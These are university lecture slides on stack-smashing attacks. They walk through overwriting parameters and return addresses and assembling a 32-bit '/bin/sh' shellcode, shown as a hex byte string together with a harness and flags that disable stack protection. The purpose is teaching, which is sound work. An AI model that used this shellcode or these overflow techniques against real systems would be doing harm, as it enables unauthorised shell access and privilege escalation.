

Experimental Stack Smashing

Security in Computer Systems—lecture 9


Jan-Matthias Braun

14th of November 2018

(Stack-) Overflow Based Attacks

- Use data to attack a program's run-time behaviour.
- Why and how can *data* attack *programs*?
- Memory management.
- Experiments with small programs.
- Counter & counter-counter measures in hard- and software.
- Methods to
 - Harden our code.
 - *Test ...* code.

Memory Layout



Today We Are (again)
Taking the Attackers Perspective.

Why *Should* We Take
the Attackers Perspective?

Mini-Repetition

- Policies
- Networks
- Cryptography
- Firewalls
- Micro controllers
- Side channel attacks

Mini-Repetition

Most of these cover creating

- ... awareness of/securer user behaviour
- ... hardened network configuration
- ... secure communication (over networks)
- ... traffic control
- ... controlling the (attackable) surface of a computing system
- ... protection of data

Mini-Repetition

Often enough, the security risk lies in

- ... bad configuration
- ... insecure end-user devices in a secure network
- ... bad passwords
- ... unnecessary services (increase in attack surface)

Difficult to Control

- The quality of the implementation!
e.g., Firewalls, cryptography (openssl);
but also third party plugins, drivers
- Faulty configuration (e.g., pam, sendmail)
- Responsible use of security relevant data
(Certificates, e.g., Sennheiser software)
- Insecure standards, e.g., DNS

A Few Attack Types

- Undirected:
 - Generic scans (network, e.g., ip-scans, war-dialling, war driving)
 - Malware, via e-Mail, web-sites, USB-Sticks (Disks)
- Targeted attacks, via network or local

Video

Anatomy of an Attack

- Target/aim
- Access to the target
- A viable vulnerability
- A viable exploit to reach the target/achieve the aim

Targets and Aims of an Attack

Can be a computer system (local, via network)

- Gain access to system (authentication, rootkit)
- Establishing permanent access (backdoor)
- Destruction, malfunction
- Deny access to others, Denial of Service (DOS)

Targets and Aims of an Attack

Can be data (via computing system, transport)

- Get access to data (read)
- Modify/delete data
- Publish data
- Man-in-the-middle
- Hiding your activities

Access to the Target

- Remember Leon's lecture on attack surfaces
- Depending on the kind of access, no vulnerability is needed (direct access)
- Social engineering is often a first step
- This can include mail to all employees with crafted attachments.

Video

Access to the Target

- But when attacking infrastructure, sooner or later you need the ability to execute
 - (a) arbitrary operations and
 - (b) with full privileges
- I.e., you want administrative privileges
- We will cover attacks which can be used locally, or over the network (remotely), to achieve both.

Access to the Target

What we are looking for, is a way to broaden the exposed interface. I.e., every interface accessible, be it a shell, a program, or a web service, which allows interaction, limits your possible actions.

We want a way to extend the possible actions.

One way to get there, is the exploit of buffer overflows.

What We Will Take Away

- We will understand how data becomes a danger.
- This enables us to understand risks at program level.
- ... at system level.
- And discuss options on how to contain damage done.
- And shortly discuss the importance of logging.

The Overflow

Example 1: A simple overflow.

```
1 #include <string.h>
2 #include <stdio.h>
3
4 char* string1 = ".....!";
5 char* string2 = "I like";
6
7 int main(char** argv, int argc) {
8     char buffer1[strlen(string1)];
9     char buffer2[strlen(string2)];
10    strcpy(buffer1, string1);
11    strcpy(buffer2, string2);
12
13    printf("%s %s\n", buffer2, buffer1);
14
15    strcpy(buffer2, buffer1);
16    printf("%s %s\n", buffer1, buffer2);
17
18    return 0;
19 }
```

The Overflow

- What is an overflow?
- Issue: Obviously faulty behaviour.
- How can this be detected?
- We will revisit this later...

Example 2: Exposing Different Behaviour


```
1 #include <string.h>
2
3 void function(char *str) {
4     char buffer[16];
5     strcpy(buffer, str);
6     // Do stuff with buffer...
7 }
8
9 void main() {
10     char large_string[256];
11     int i;
12     for(i = 0; i < 255; ++i)
13         large_string[i] = 'A';
14     function(large_string);
15 }
```

gcc -o example-2 example-2.c gcc -fstack-protector -o
example-2 example-2.c gcc -fno-stack-protector -o example-2
example-2.c By the way ... why strcpy at all?

Reintroducing: the Stack

```
1 #include <string.h>
2
3 void function(char *str) {
4     char buffer[16];
5     strcpy(buffer, str);
6     // Do stuff with buffer...
7 }
8
9 void main() {
10     char large_string[256];
11     int i;
12     for(i = 0; i < 255; ++i)
13         large_string[i] = 'A';
14     function(large_string);
15 }
```

Memory Layout



Smashing the Stack

Travelling in Time to Understand the Stack

- We want to explore stack usage in programs.
- We include debugging information.
- Also, we have to disable a few security measures, i.e., stack protector, position independent code.
- We are using 32bit calling conventions for orientation.
- `gcc -ggdb -O0 -fno-stack-protector -no-pie -fno-pic -m32`

Inspecting the Stack at Runtime

```
1 #include <stdio.h>
2
3 void function(int a, int b, int c) {
4     char buf1[5] = "AAAA"; // 0x41
5     char buf2[10] = "BBBBBBBBB"; // 0x42
6 }
7 void main() {
8     int x;
9     x = 0;
10    function(1,2,3);
11    x += 1;
12    x += 1;
13    printf("%d\n",x);
14 }
```

Help on reading the disassembly:

- [Introduction to Intel assembler](#)
- [Intel instructions](#)

- Debugger: `gdb <program>`
- Last line in function
disassemble /m function
- break 6
- run
- `x/32wx $esp`
- Who can explain?
try different parameters
try disassemble /m main

Calling Convention

1	Address	Memory Contents			
2	ffffc37c:	42424200	42424242	41004242	00414141
3	ffffc38c:	ffffc3b8	080491bd	00000001	00000002
4	ffffc39c:	00000003	f7fe5020	00000000	00000000
5	ffffc3ac:	00000000	00000001	ffffc3d0	00000000
6	ffffc3bc:	f7d97de1	f7f5f000	f7f5f000	00000000
7	ffffc3cc:	f7d97de1	00000001	ffffc464	ffffc46c
8	ffffc3dc:	ffffc3f4	00000001	00000000	f7f5f000
9	ffffc3ec:	ffffffff	f7ffcfb4	00000000	f7f5f000

```
1 void function(int a, int b, int c) {
2     char buf1[5] = "AAAA"; // 0x41
3     char buf2[10] = "BBBBBBBBBB"; // 0x42
4 }
5 void main() {
6     int x;
7     x = 0;
8     function(1,2,3);
```

```

1 void function(int a, int b, int c) { // Created with objdump -Sr
2     8049172:    55                push    %ebp
3     8049173:    89 e5            mov     %esp,%ebp
4     8049175:    83 ec 10         sub     $0x10,%esp
5     char buf1[5] = "AAAA"; // 0x41
6     8049178:    c7 45 fb 41 41 41 movl    $0x41414141,-0x5(%ebp)
7     804917f:    c6 45 ff 00     movb    $0x0,-0x1(%ebp)
8     char buf2[10] = "BBBBBBBB"; // 0x42
9     8049183:    c7 45 f1 42 42 42 movl    $0x42424242,-0xf(%ebp)
10    804918a:    c7 45 f5 42 42 42 movl    $0x42424242,-0xb(%ebp)
11    8049191:    66 c7 45 f9 42 00 movw    $0x42,-0x7(%ebp)
12 }
13    8049197:    90                nop
14    8049198:    c9                leave
15    8049199:    c3                ret
16
17 0804919a <main>:
18 void main() { /* omitted*/
19     int x;
20     x = 0;
21    80491ab:    c7 45 f4 00 00 00 movl    $0x0,-0xc(%ebp)
22     function(1,2,3);
23    80491b2:    6a 03            push    $0x3
24    80491b4:    6a 02            push    $0x2
25    80491b6:    6a 01            push    $0x1
26    80491b8:    e8 b5 ff ff ff   call    8049172 <function>
27    80491bd:    83 c4 0c         add     $0xc,%esp
28     x += 1;
29    80491c0:    83 45 f4 01     addl    $0x1,-0xc(%ebp)

```

Calling Convention: C, i386

- Calling function places parameters in inverse order on stack.
- Function call places return address on stack.
- Function creates stack frame (store ebp, modify esp).
- esp is thereby reduced to create space for local variables.
- Note: this code is not position independent:
all addresses are known!

What Would Change for ...

- **64bit Intel:** Parameters are passed in registers.
- **64bit Intel:** Pointer size changes.
- Other languages: ordering, clean up
- Other architectures: check the docs (or disassemble ;-)
- Very often: alignment.
- Sometimes modified use of ebp.
- Compilation parameters can change the behaviour (e.g., -fomit-frame-pointer)

Exercise: Modify a Parameter

- Use the previous example programs as basis.
- Modify another parameter by using crafted string parameters.
- For example modify an int or a float.
- Or modify a pointer after previous inspection of the address space.
- How could this be used?
- What does this mean for the order of variables?

Modifying a Parameter (Template)

```
1 #include <stdio.h>
2 #include <string.h>
3
4 void function(char* parameter, unsigned int a) {
5
6
7 }
8 void main(int argc, char** argv) {
9     function(argv[1], 1);
10 }
```

Modifying a Parameter (Code)

```
1 #include <stdio.h>
2 #include <string.h>
3
4 void function(char* parameter, unsigned int a) {
5     char local[4];
6     printf("a: %x\n", a);
7     strcpy(local, parameter);
8     // Operation continues on bogus a
9     printf("a: %x\n", a);
10 }
11 void main(int argc, char** argv) {
12     function(argv[1], 1);
13 }
```

./03_modify_parameter \

aaaaaaaaaaaaaaaaaaaaaaaaaaaaa'echo '0xEF.0xBE.0xAD.0xDE' | xxd -r'

a: 1

a: deadbeef

Modifying the Return Address

- A bit trickier: we want to change the programs order of execution!
- But essentially the same, because ...?
- ... the return address is a pointer!
- What would you suggest for the example code?

Modifying the Return Address (Template)

```
1 #include <stdio.h>
2
3 void function(int a, int b, int c) {
4     char buf1[5] = "AAAA";
5     char buf2[10] = "BBBBBBBBBB";
6     int *ret = 0xdeadbeef;
7     printf("buf1: 0x%08x\n", (unsigned int)&buf1);
8     ret = buf1 + 0;    // Target return address
9     printf("ret: 0x%08x\n", (unsigned int)*ret);
10    (*ret) += 0;        // Modify return address
11    printf("ret: 0x%08x\n", (unsigned int)*ret);
12 }
13 void main() {
14     int x;
15     x = 0;
16     function(1,2,3);
17     x += 1;
18     x += 1;
19     printf("%d\n",x);
20 }
```

Modifying the Return Address (Stackframe)

1	Address	Memory Contents			
2	ffffc360:	f7f5f3fc	00000000	00000000	42424200
3	ffffc370:	42424242	41004242	00414141	deadbeef
4	ffffc380:	00400000	ffffffff	ffffc3b8	0804921d
5	ffffc390:	00000001	00000002	00000003	0804926f

```
1  int x;
2  x = 0;
3  8049208:  c7 45 f4 00 00 00 00    movl    $0x0,-0xc(%ebp)
4  function(1,2,3);
5  804920f:  83 ec 04                sub     $0x4,%esp
6  8049212:  6a 03                  push    $0x3
7  8049214:  6a 02                  push    $0x2
8  8049216:  6a 01                  push    $0x1
9  8049218:  e8 55 ff ff ff        call    8049172 <function>
10 804921d:  83 c4 10               add     $0x10,%esp
11  x += 1;
12 8049220:  83 45 f4 01           addl    $0x1,-0xc(%ebp)
13  x += 1;
14 8049224:  83 45 f4 01           addl    $0x1,-0xc(%ebp)
```

Modifying the Return Address (Code)

```
1 #include <stdio.h>
2
3 void function(int a, int b, int c) {
4     char buf1[5] = "AAAA";
5     char buf2[10] = "BBBBBBBBBB";
6     int *ret = 0xdeadbeef;
7     printf("buf1: 0x%08x\n", (unsigned int)&ret);
8     ret = &ret + 8;      // Target return address
9     printf("ret: 0x%08x\n", (unsigned int)*ret);
10    (*ret) += 7;         // Modify return address
11    printf("ret: 0x%08x\n", (unsigned int)*ret);
12 }
13 void main() {
14     int x;
15     x = 0;
16     function(1,2,3);
17     x += 1;
18     x += 1;
19     printf("%d\n",x);
20 }
```

Modifying the Return Address (Summary)

- Downside: Stack clean up after return is omitted.
- Compiler may change parameters/initialisation order.
- The stack layout may change!
- Even the same code may need different exploits

Modifying the Return Address (Summary)

- Knowing the stack layout, we can modify almost any value.
- Possible to overwrite return address with crafted string!
- Placing the return address at the right position in the string.
- Do you want to try this?
- What problems arise here?

Code Injection

Arbitrary Code Execution

- We now know the layout of the stack.
- We can modify the return address.
- We can place (more or less) arbitrary data on the Stack.
- How can we execute arbitrary code?
- What limits (our) code?

Desired Effects of Injected Data/Code

What can we achieve with arbitrary code?

- Change the program's behaviour.
- Access the system, beyond the programs purpose (maybe accessing different files)
- Gain full access to the system, e.g., shell
- Privilege escalation
- Failure (DoS)
- System load (fork bomb, DoS)

The Shell Code

- Traditionally the simplest way to go: open a shell.
- Allows access to a wide range of tools.
- Especially interesting for local attack.
- But it doesn't need to open a shell.

The Shell Code

Example: Opening a Shell

```
1 #include <unistd.h>
2
3 void main() {
4     char *name[2];
5     name[0] = "/bin/sh";
6     name[1] = NULL;
7     execve(name[0], name, NULL);
8 }
```

- We need the machine code (source -> asm -> machine)
- Compile with
gcc -ggdb -fno-stack-protector -no-pie -fno-pic -O0 -m32
-static -o <exec> <src>
- objdump -Sr <exec>
- Check main and __execve, ignoring stack frames.

```

1  char *name[2];
2  name[0] = "/bin/sh";
3  8049b36:  c7 45 f0 08 10 0b 08    movl    $0x80b1008,-0x10(%ebp)
4  name[1] = NULL;
5  8049b3d:  c7 45 f4 00 00 00 00    movl    $0x0,-0xc(%ebp)
6  execve(name[0], name, NULL);
7  8049b44:  8b 45 f0                mov     -0x10(%ebp),%eax
8  8049b47:  83 ec 04                sub     $0x4,%esp
9  8049b4a:  6a 00                  push    $0x0
10 8049b4c:  8d 55 f0                lea     -0x10(%ebp),%edx
11 8049b4f:  52                     push    %edx
12 8049b50:  50                     push    %eax
13 8049b51:  e8 ba 50 02 00          call    806ec10 <__execve>
14
15 0806ec10 <__execve>:
16 806ec10:  53                     push    %ebx
17 806ec11:  8b 54 24 10            mov     0x10(%esp),%edx
18 806ec15:  8b 4c 24 0c            mov     0xc(%esp),%ecx
19 806ec19:  8b 5c 24 08            mov     0x8(%esp),%ebx
20 806ec1d:  b8 0b 00 00 00          mov     $0xb,%eax
21 806ec22:  65 ff 15 10 00 00 00    call    *%gs:0x10
22 806ec29:  5b                     pop     %ebx
23 806ec2a:  3d 01 f0 ff ff          cmp     $0xffffffff,01,%eax
24 806ec2f:  0f 83 db 50 00 00      jae     8073d10 <__syscall_error>
25 806ec35:  c3                     ret
26 806ec36:  66 90                  xchg    %ax,%ax
27 806ec38:  66 90                  xchg    %ax,%ax
28 806ec3a:  66 90                  xchg    %ax,%ax
29 806ec3c:  66 90                  xchg    %ax,%ax
30 806ec3e:  66 90                  xchg    %ax,%ax

```

_execve?

- Execute program (man execve).
- Opening files and creating new processes are operating system (OS) tasks.
- For we just need to know, that OS tasks are implemented as syscalls.
- They receive their parameters in registers, including the syscall number.
- We will revisit this later.

```

1 char *name[2];
2 name[0] = "/bin/sh";
3 8049b36: c7 45 f0 08 10 0b 08 movl $0x80b1008,-0x10(%ebp) # Address of /bin/sh to stack frame
4 name[1] = NULL;
5 8049b3d: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) # 0 to stack frame
6 execve(name[0], name, NULL);
7 8049b44: 8b 45 f0 mov -0x10(%ebp),%eax # Address of name[0] to eax (prog name)
8 8049b47: 83 ec 04 sub $0x4,%esp
9 8049b4a: 6a 00 push $0x0 # Push empty env to stack (0)
10 8049b4c: 8d 55 f0 lea -0x10(%ebp),%edx # Address of name to edx (argv)
11 8049b4f: 52 push %edx # Push argv
12 8049b50: 50 push %eax # Push program name
13 8049b51: e8 ba 50 02 00 call 806ec10 <__execve>
14
15 0806ec10 <__execve>:
16 806ec10: 53 push %ebx
17 806ec11: 8b 54 24 10 mov 0x10(%esp),%edx # (Empty) environment
18 806ec15: 8b 4c 24 0c mov 0xc(%esp),%ecx # Argv
19 806ec19: 8b 5c 24 08 mov 0x8(%esp),%ebx # Program name
20 806ec1d: b8 0b 00 00 00 mov $0xb,%eax # Syscall 11: execve
21 806ec22: 65 ff 15 10 00 00 00 call *%gs:0x10 # Syscall via linux-vdso, older: int 80
22 806ec29: 5b pop %ebx
23 806ec2a: 3d 01 f0 ff ff cmp $0xfffff001,%eax
24 806ec2f: 0f 83 db 50 00 00 jae 8073d10 <__syscall_error>
25 806ec35: c3 ret
26 806ec36: 66 90 xchg %ax,%ax
27 806ec38: 66 90 xchg %ax,%ax
28 806ec3a: 66 90 xchg %ax,%ax
29 806ec3c: 66 90 xchg %ax,%ax
30 806ec3e: 66 90 xchg %ax,%ax


```


Summary of Actions

- Have the null terminated string `"/bin/sh"` somewhere in memory.
- Have the address of the string `"/bin/sh"` somewhere in memory followed by a null long word.
- Copy `0xb` into the EAX register.
- Copy the address of the address of the string `"/bin/sh"` into the EBX register.
- Copy the address of the string `"/bin/sh"` into the ECX register.
- Copy the address of the null long word into the EDX register.
- Execute the syscall.

Exit Nicely—with Return Code 0 on Failure

Incomplete Code

```
1 movl    string_addr,string_addr_addr
2 movb    $0x0,null_byte_addr
3 movl    $0x0,null_addr
4 movl    $0xb,%eax
5 movl    string_addr,%ebx
6 leal    string_addr,%ecx
7 leal    null_addr,%edx
8 int     $0x80
9 movl    $0x1,%eax
10 movl    $0x0,%ebx
11 int     $0x80
12 bin/sh string goes $here.
```

But Which Addresses to Use?

- Exploit jmp and call with relative addressing.
- But execve needs an absolute address.
- Use call to place the next instruction's memory address on the stack.

Isolated Shell Code

```
1 void main() {  
2     __asm__ ("  
3         jmp     0x2a;           \  
4         popl    %esi;           \  
5         movl    %esi,0x8(%esi);  \  
6         movb    $0x0,0x7(%esi);  \  
7         movl    $0x0,0xc(%esi);  \  
8         movl    $0xb,%eax;       \  
9         movl    %esi,%ebx;       \  
10        leal    0x8(%esi),%ecx;   \  
11        leal    0xc(%esi),%edx;   \  
12        int     $0x80;           \  
13        movl    $0x1, %eax;       \  
14        movl    $0x0, %ebx;       \  
15        int     $0x80;           \  
16        call    -0x2f;           \  
17        .string \"/bin/sh\";      \  
18    ");  
19 }
```

What limits this kind of attack?

Try it

- Compile the code
- Inspect the binary's code with `objdump -Sr`
- Form a string from the bytes.

”\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00
\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00
\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c
\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00
\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62
\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”

Spotted Any Problems?

Before Going On: Try This Out!

```
1 #include <stdio.h>
2
3 char shellcode[] =
4     "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
5     "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
6     "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
7     "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89xec\x5d\xc3";
8
9 void function(int a, int b, int c) {
10     unsigned int *ret;           // -0xc(%ebp)
11     ret = (unsigned int *)&ret;
12     ret = (unsigned int *)&ret + 2; // 3*2: stack frame + esp
13     (*ret) = (int)shellcode;
14 }
15
16 void main() {
17     function(1, 2, 3);
18 }
```

Use gcc -ggdb -fno-stack-protector -z execstack -no-pie -fno-pic -O0 -m32

Bottom Line

Summary

- Most vulnerabilities are simply bugs.
- Bugs happen. Quite often.
- Use hard- and software features despite costs.
- Program paranoid, never trust data, and **install those security fixes!**
- As software releases are short lived, ask yourself how well maintained older versions are.

Project Work + Exams

Project

- Freely choose a vulnerability (please tell us about it)
- Example for memory based attacks: Heartbleed
- Document how the attack was made in a wiki
- “Hand in” the wiki two weeks before exam

Exams (to be updated)

- Presentation about how to protect against the attack (≤ 8 min)
- Topics for questions rolled by fair dice roll (≤ 12 min)

Thanks (Literature)

- While preparing, I found once again that some topics just have superior coverage in the web.
- Half way through, I decided to adapt closely to very nice and old material:
[Smashing The Stack For Fun And Profit by Aleph One](#)
- Or somewhat more up to date:
[The 64-bit Linux stack smashing tutorial by superkojiman](#)
- And so many other nice sources. Just search for it.